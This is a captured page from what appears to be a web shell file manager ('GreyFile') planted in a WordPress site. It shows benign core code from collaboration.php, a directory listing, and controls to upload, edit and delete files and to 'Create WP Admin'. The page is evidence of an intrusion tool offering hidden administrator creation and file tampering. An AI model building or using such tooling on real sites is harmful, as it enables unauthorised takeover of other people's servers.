?? GreyFile — Mystic File Browser
Current path:
home
/
webdevt
/
www
/
demo2
/
wp-includes
/
?? Create WP Admin
??
Go up: /home/webdevt/www/demo2
?? Editing: collaboration.php
<?php /** * Bootstraps collaborative editing. * * @package WordPress * @since 7.0.0 */ /** * Determines whether real-time collaboration is enabled. * * If the WP_ALLOW_COLLABORATION constant is false, * collaboration is always disabled regardless of the database option. * Otherwise, falls back to the 'wp_collaboration_enabled' option. * * @since 7.0.0 * * @return bool Whether real-time collaboration is enabled. */ function wp_is_collaboration_enabled() { return ( wp_is_collaboration_allowed() && (bool) get_option( 'wp_collaboration_enabled' ) ); } /** * Determines whether real-time collaboration is allowed. * * If the WP_ALLOW_COLLABORATION constant is false, * collaboration is not allowed and cannot be enabled. * The constant defaults to true, unless the WP_ALLOW_COLLABORATION * environment variable is set to string "false". * * @since 7.0.0 * * @return bool Whether real-time collaboration is enabled. */ function wp_is_collaboration_allowed() { if ( ! defined( 'WP_ALLOW_COLLABORATION' ) ) { $env_value = getenv( 'WP_ALLOW_COLLABORATION' ); if ( false === $env_value ) { // Environment variable is not defined, default to allowing collaboration. define( 'WP_ALLOW_COLLABORATION', true ); } else { /* * Environment variable is defined, let's confirm it is actually set to * "true" as it may still have a string value "false" – the preceeding * `if` branch only tests for the boolean `false`. */ define( 'WP_ALLOW_COLLABORATION', 'true' === $env_value ); } } return WP_ALLOW_COLLABORATION; } /** * Injects the real-time collaboration setting into a global variable. * * @since 7.0.0 * * @access private * * @global string $pagenow The filename of the current screen. */ function wp_collaboration_inject_setting() { global $pagenow; if ( ! wp_is_collaboration_enabled() ) { return; } // Disable real-time collaboration on the site editor. $enabled = true; if ( 'site-editor.php' === $pagenow ) { $enabled = false; } wp_add_inline_script( 'wp-core-data', 'window._wpCollaborationEnabled = ' . wp_json_encode( $enabled ) . ';', 'after' ); }
Save
Upload
??
Create Folder
??
Create File
??
abilities-api
|
??? Delete
??
ai-client
|
??? Delete
??
assets
|
??? Delete
??
block-bindings
|
??? Delete
??
block-patterns
|
??? Delete
??
block-supports
|
??? Delete
??
blocks
|
??? Delete
??
build
|
??? Delete
??
certificates
|
??? Delete
??
collaboration
|
??? Delete
??
css
|
??? Delete
??
customize
|
??? Delete
??
fonts
|
??? Delete
??
html-api
|
??? Delete
??
ID3
|
??? Delete
??
images
|
??? Delete
??
interactivity-api
|
??? Delete
??
IXR
|
??? Delete
??
js
|
??? Delete
??
l10n
|
??? Delete
??
php-ai-client
|
??? Delete
??
php-compat
|
??? Delete
??
PHPMailer
|
??? Delete
??
pomo
|
??? Delete
??
Requests
|
??? Delete
??
rest-api
|
??? Delete
??
SimplePie
|
??? Delete
??
sitemaps
|
??? Delete
??
sodium_compat
|
??? Delete
??
style-engine
|
??? Delete
??
Text
|
??? Delete
??
theme-compat
|
??? Delete
??
widgets
|
??? Delete
??
ai-client.php
|
?? Edit
|
??? Delete
??
block-i18n.json
|
?? Edit
|
??? Delete
??
block-patterns.php
|
?? Edit
|
??? Delete
??
bookmark-template.php
|
?? Edit
|
??? Delete
??
canonical.php
|
?? Edit
|
??? Delete
??
category.php
|
?? Edit
|
??? Delete
??
class-avif-info.php
|
?? Edit
|
??? Delete
??
class-phpmailer.php
|
?? Edit
|
??? Delete
??
class-pop3.php
|
?? Edit
|
??? Delete
??
class-smtp.php
|
?? Edit
|
??? Delete
??
class-walker-category-dropdown.php
|
?? Edit
|
??? Delete
??
class-walker-nav-menu.php
|
?? Edit
|
??? Delete
??
class-walker-page-dropdown.php
|
?? Edit
|
??? Delete
??
class-walker-page.php
|
?? Edit
|
??? Delete
??
class-wp-ajax-response.php
|
?? Edit
|
??? Delete
??
class-wp-application-passwords.php
|
?? Edit
|
??? Delete
??
class-wp-block-bindings-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-list.php
|
?? Edit
|
??? Delete
??
class-wp-block-metadata-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-pattern-categories-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-supports.php
|
?? Edit
|
??? Delete
??
class-wp-block-templates-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-type-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-type.php
|
?? Edit
|
??? Delete
??
class-wp-classic-to-block-menu-converter.php
|
?? Edit
|
??? Delete
??
class-wp-comment-query.php
|
?? Edit
|
??? Delete
??
class-wp-connector-registry.php
|
?? Edit
|
??? Delete
??
class-wp-customize-nav-menus.php
|
?? Edit
|
??? Delete
??
class-wp-dependency.php
|
?? Edit
|
??? Delete
??
class-wp-duotone.php
|
?? Edit
|
??? Delete
??
class-wp-http-cookie.php
|
?? Edit
|
??? Delete
??
class-wp-http-response.php
|
?? Edit
|
??? Delete
??
class-wp-http-streams.php
|
?? Edit
|
??? Delete
??
class-wp-icons-registry.php
|
?? Edit
|
??? Delete
??
class-wp-image-editor-gd.php
|
?? Edit
|
??? Delete
??
class-wp-image-editor-imagick.php
|
?? Edit
|
??? Delete
??
class-wp-list-util.php
|
?? Edit
|
??? Delete
??
class-wp-locale-switcher.php
|
?? Edit
|
??? Delete
??
class-wp-locale.php
|
?? Edit
|
??? Delete
??
class-wp-matchesmapregex.php
|
?? Edit
|
??? Delete
??
class-wp-metadata-lazyloader.php
|
?? Edit
|
??? Delete
??
class-wp-paused-extensions-storage.php
|
?? Edit
|
??? Delete
??
class-wp-post-type.php
|
?? Edit
|
??? Delete
??
class-wp-query.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-cookie-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-email-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-key-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode-link-service.php
|
?? Edit
|
??? Delete
??
class-wp-recovery-mode.php
|
?? Edit
|
??? Delete
??
class-wp-rewrite.php
|
?? Edit
|
??? Delete
??
class-wp-roles.php
|
?? Edit
|
??? Delete
??
class-wp-session-tokens.php
|
?? Edit
|
??? Delete
??
class-wp-simplepie-sanitize-kses.php
|
?? Edit
|
??? Delete
??
class-wp-site-query.php
|
?? Edit
|
??? Delete
??
class-wp-tax-query.php
|
?? Edit
|
??? Delete
??
class-wp-textdomain-registry.php
|
?? Edit
|
??? Delete
??
class-wp-theme-json-resolver.php
|
?? Edit
|
??? Delete
??
class-wp-token-map.php
|
?? Edit
|
??? Delete
??
class-wp-widget-factory.php
|
?? Edit
|
??? Delete
??
class-wpdb.php
|
?? Edit
|
??? Delete
??
collaboration.php
|
?? Edit
|
??? Delete
??
comment-template.php
|
?? Edit
|
??? Delete
??
compat-utf8.php
|
?? Edit
|
??? Delete
??
connectors.php
|
?? Edit
|
??? Delete
??
default-filters.php
|
?? Edit
|
??? Delete
??
error-protection.php
|
?? Edit
|
??? Delete
??
feed-rss2-comments.php
|
?? Edit
|
??? Delete
??
global-styles-and-settings.php
|
?? Edit
|
??? Delete
??
kses.php
|
?? Edit
|
??? Delete
??
l10n.php
|
?? Edit
|
??? Delete
??
link-template.php
|
?? Edit
|
??? Delete
??
locale.php
|
?? Edit
|
??? Delete
??
media-template.php
|
?? Edit
|
??? Delete
??
media.php
|
?? Edit
|
??? Delete
??
ms-default-filters.php
|
?? Edit
|
??? Delete
??
ms-deprecated.php
|
?? Edit
|
??? Delete
??
ms-files.php
|
?? Edit
|
??? Delete
??
ms-site.php
|
?? Edit
|
??? Delete
??
nav-menu.php
|
?? Edit
|
??? Delete
??
pluggable-deprecated.php
|
?? Edit
|
??? Delete
??
pluggable.php
|
?? Edit
|
??? Delete
??
post-thumbnail-template.php
|
?? Edit
|
??? Delete
??
registration.php
|
?? Edit
|
??? Delete
??
rss-functions.php
|
?? Edit
|
??? Delete
??
sitemaps.php
|
?? Edit
|
??? Delete
??
spl-autoload-compat.php
|
?? Edit
|
??? Delete
??
style-engine.php
|
?? Edit
|
??? Delete
??
taxonomy.php
|
?? Edit
|
??? Delete
??
template.php
|
?? Edit
|
??? Delete
??
theme-i18n.json
|
?? Edit
|
??? Delete
??
theme.json
|
?? Edit
|
??? Delete
??
vars.php
|
?? Edit
|
??? Delete
??
version.php
|
?? Edit
|
??? Delete
??
view-transitions.php
|
?? Edit
|
??? Delete